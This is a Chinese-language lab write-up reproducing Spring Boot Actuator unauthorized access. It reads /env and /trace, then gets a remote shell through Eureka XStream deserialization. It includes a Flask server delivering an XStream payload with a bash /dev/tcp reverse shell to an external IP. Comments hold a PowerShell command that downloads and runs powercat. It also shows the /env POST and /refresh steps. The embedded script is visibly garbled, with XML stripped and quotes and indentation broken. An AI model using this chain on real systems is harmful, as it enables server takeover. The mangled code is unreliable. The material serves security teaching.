漏洞复现 - - - Springboot未授权访问

目录

一, 未授权访问是什么?

二,Actuator介绍

三,怎么进行漏洞发现呢?

四,实验环境

五,漏洞复现

1.通过访问env获取全部环境属性

2.通过/trace提供基本的http请求跟踪信息

3.利用反序列化进行getshell

 1.启动脚本

2.开启监听

 3.使用bp抓取一个/env的包

4.修改POST数据


一, 未授权访问是什么?

未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露

二,Actuator介绍

Spring Boot 基本上是 Spring 框架的扩展。 Actuator 是 Springboot 提供的用来对应用系统进行 自省和监控的功能模块,借助于 Actuator ,开发者可以很方便地对应用系统的某些监控指标进行查 看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点( endpoints )来获取应用系统中的监控信息。

漏洞复现 - - - Springboot未授权访问_第1张图片

 

三,怎么进行漏洞发现呢?

1. 分析web 应用使用的框架为 springboot 框架

2.如果web应用开发者没有修改springboot web默认图标

漏洞复现 - - - Springboot未授权访问_第2张图片

3.如果修改了默认图标,我们通过访问refresh web网页报错进行分析,如果 web 应用开发者没有修改 springboot web 应用的默认 4xx、5xx 报错页面,那么当 web 应用程序出现 4xx、5xx 错误时,会报错如下如图所示

 

漏洞复现 - - - Springboot未授权访问_第3张图片

四,实验环境

靶机:Centos7+springboot   IP地址:10.1.1.137:8090

攻击机:Kali  IP地址:10.1.1.135

五,漏洞复现

1.通过访问env获取全部环境属性

漏洞复现 - - - Springboot未授权访问_第4张图片

2.通过/trace提供基本的http请求跟踪信息

漏洞复现 - - - Springboot未授权访问_第5张图片

3.利用反序列化进行getshell

需要以下两个包(环境已安装)

spring-boot-starter-actuator(/refresh刷新配置需要)

spring-cloud-starter-netflix-eureka-client(功能依赖)

采用脚本的方式

# linux反弹shell bash -i >& /dev/tcp/192.168.20.82/9999 0>&1
# windows反弹shell
# powershell
# IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');
# powercat -c 192.168.123.1 -p 2333 -e cmd
from flask import Flask,Response

app =Flask(_name_)

@app.route('/xstream', defaults={ ''})
@app.route('/xstream/')
def catch_all(path):
    xml = """
	
	 
	 
	 
	 
	 
	 
     
	 
	 
	
	bash
	-c
	bash -i >& /dev/tcp/139.9.198.30/1234 0>&1      //攻击机的IP
	
	false
	
	
	
	
	java.lang.ProcessBuilder
    start
	
	
    foo
	
	foo
	
	
	
	
	
	
	
	
	 
	
	"""
	 
	
	
	
	
	"""
	return Response(xml, mimetype='application/xml')
	if __name__ == "__main__":
	app.run(host='0.0.0.0', port=2333)

采用一个启动脚本的服务

注意讲脚本中的IP改为自己的IP,并且开启一个监听端口

 漏洞复现 - - - Springboot未授权访问_第6张图片

 1.启动脚本

漏洞复现 - - - Springboot未授权访问_第7张图片

2.开启监听

 漏洞复现 - - - Springboot未授权访问_第8张图片

 3.使用bp抓取一个/env的包

漏洞复现 - - - Springboot未授权访问_第9张图片

4.修改POST数据

eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream

 漏洞复现 - - - Springboot未授权访问_第10张图片

 点击forward发送请求

漏洞复现 - - - Springboot未授权访问_第11张图片

 访问/refresh,还是显示一次错误页面。我们对此进行抓包

漏洞复现 - - - Springboot未授权访问_第12张图片

 

漏洞复现 - - - Springboot未授权访问_第13张图片

我们讲此修改为post请求,数据包随机输入就可以 

漏洞复现 - - - Springboot未授权访问_第14张图片

 

 查看监听的端口,我们可以看到得道了一个shell,复现成功!!!

漏洞复现 - - - Springboot未授权访问_第15张图片

 

你可能感兴趣的:(#,经典漏洞复现,安全,网络)